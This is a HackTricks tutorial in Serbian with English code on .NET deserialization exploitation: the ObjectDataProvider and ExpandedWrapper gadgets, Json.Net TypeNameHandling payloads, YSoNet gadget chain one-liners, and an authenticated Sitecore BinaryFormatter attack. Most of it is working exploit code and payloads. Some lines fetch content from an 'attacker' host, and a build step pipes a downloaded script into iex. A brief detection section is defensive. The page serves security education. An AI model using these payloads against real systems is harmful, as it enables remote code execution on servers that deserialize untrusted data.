Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider eksploatiše da bi se dobio RCE i kako se Serialization biblioteke Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.

ObjectDataProvider Gadget

Iz dokumentacije: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Da, čudno objašnjenje, pa da vidimo šta ta klasa ima što je toliko interesantno: Ova klasa dozvoljava da obuhvatite proizvoljan objekat, koristite MethodParameters da postavite proizvoljne parametre, i zatim koristite MethodName da pozovete proizvoljnu funkciju tog proizvoljnog objekta navedenu koristeći te proizvoljne parametre.
Dakle, proizvoljni objekat će izvršiti metodu sa parametrima tokom deserializacije.

Kako je to moguće

Namespace System.Windows.Data, koji se nalazi u PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je mesto gde je ObjectDataProvider definisan i implementiran.

Korišćenjem dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode

Kao što možete primetiti, kada je MethodName postavljen poziva se base.Refresh(), hajde da pogledamo šta to radi:

Ok, nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je overridovan u ObjectDataProvider i ovo je ono što radi:

Obratite pažnju da na kraju koda poziva this.QueryWorke(null). Pogledajmo šta to izvršava:

Imajte na umu da ovo nije kompletan kod funkcije QueryWorker ali prikazuje njen zanimljiv deo: Kod poziva this.InvokeMethodOnInstance(out ex); ovo je linija gde se podešena metoda poziva.

Ako želite da proverite da samo postavljanje MethodName će biti izvršeno, možete pokrenuti ovaj kod:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Koristeći prethodni exploit postaće slučajevi gde će object biti deserialized as instanca ObjectDataProvider (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserializovan koristeći GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

Ova klasa omogućava da se odrede tipovi objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa može da se koristi za enkapsulaciju izvornog objekta (ObjectDataProvider) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao što je prethodno predstavljen, jer ćemo moći da wrap ObjectDataProvider inside an ExpandedWrapper instance i when deserialized ova klasa će create OjectDataProvider objekat koji će execute funkciju označenu u MethodName.

You can check this wrapper with the following code:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na službenoj veb stranici navodi se da ova biblioteka omogućava serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću moćnog JSON serijalizatora Json.NET-a. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserijalizacijom objekta.

Json.Net primer

Prvo, pogledajmo primer kako da serijalizujemo/deserijalizujemo objekat koristeći ovu biblioteku:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Zloupotreba Json.Net

Koristeći ysoserial.net napravio sam exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

U ovom kodu možete testirati exploit, samo ga pokrenite i videćete da se izvršava calc:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Tehnika ObjectDataProvider + ExpandedWrapper predstavljena gore je samo jedna od MNOGИХ gadget chain-ova koje je moguće zloupotrebiti kada aplikacija izvršava unsafe .NET deserialization. Moderni red-team alati kao što su YSoNet (i stariji ysoserial.net) automatizuju kreiranje spremnih za upotrebu malicioznih grafova objekata za desetine gadget-a i formata serijalizacije.

Ispod je sažeti referentni pregled najkorisnijih lanaca koji dolaze sa YSoNet zajedno sa kratkim objašnjenjem kako rade i primer komandnih linija za generisanje payload-a.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateKorumpira zapis DelegateSerializationHolder tako da, kada se materializuje, delegat pokazuje na bilo koju metodu koju napadač obezbedi (npr. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorZloupotrebljava System.Workflow.ComponentModel.ActivitySurrogateSelector da zaobiđe .NET ≥4.8 type-filtering i direktno pozove konstruktor date klase ili kompajlira C# fajl u letuBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourIskorištava legacy XML reprezentaciju System.Data.DataSet da instancira proizvoljne tipove popunjavanjem polja <ColumnMapping> / <DataType> (opciono lažirajući assembly sa --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsNa runtime-ovima sa WPF (> .NET 5) lančano poziva gettere svojstava dok ne dosegne System.CodeDom.Compiler.CompilerResults, zatim kompajlira ili učitava DLL prosleđen sa -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Koristi WPF System.Windows.Data.ObjectDataProvider za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje zgodnu --xamlurl varijantu da hostuje maliciozni XAML udaljenoBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Umeće ScriptBlock u System.Management.Automation.PSObject koji se izvršava kada PowerShell deserijalizuje objekatPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Svi payloadi se po defaultu pišu na stdout, što olakšava njihovo prosleđivanje u druge alate (npr. ViewState generators, base64 encoders, HTTP clients).

Kompajliranje / instalacija YSoNet

Ako nema prekompajliranih binarnih fajlova dostupnih pod Actions ➜ Artifacts / Releases, sledeći PowerShell one-liner će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u Release modu:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

Otkrivanje i zaštita

  • Detektuj neočekivane podprocese w3wp.exe, PowerShell.exe, ili bilo kog procesa koji deserijalizuje podatke koje dostavi korisnik (npr. MessagePack, Json.NET).
  • Omogući i primeni filtriranje tipova (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) kad se stari BinaryFormatter / NetDataContractSerializer ne može ukloniti.
  • Kad je moguće, pređite na System.Text.Json ili DataContractJsonSerializer sa konverterima zasnovanim na beloj listi.
  • Blokirajte opasne WPF assembly-je (PresentationFramework, System.Workflow.*) da se ne bi učitavali u web procesima kojima nisu potrebni.

Stvarni primer sinka: Sitecore convertToRuntimeHtml → BinaryFormatter

Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:

  • Sink API: Sitecore.Convert.Base64ToObject(string) poziva new BinaryFormatter().Deserialize(...).
  • Put okidanja: pipeline convertToRuntimeHtmlConvertWebControls, koji traži susedni element sa id="{iframeId}_inner" i čita atribut value koji se tretira kao base64‑kodirani serijalizovani podaci. Rezultat se kastuje u string i ubacuje u HTML.

Minimalni end‑to‑end (autentifikovano):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: bilo koji BinaryFormatter lanac koji vraća string (side‑effects se izvršavaju tokom deserializacije). Pogledajte YSoNet/ysoserial.net za generisanje payloads.

Za potpuni lanac koji počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sink-a:

Sitecore

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks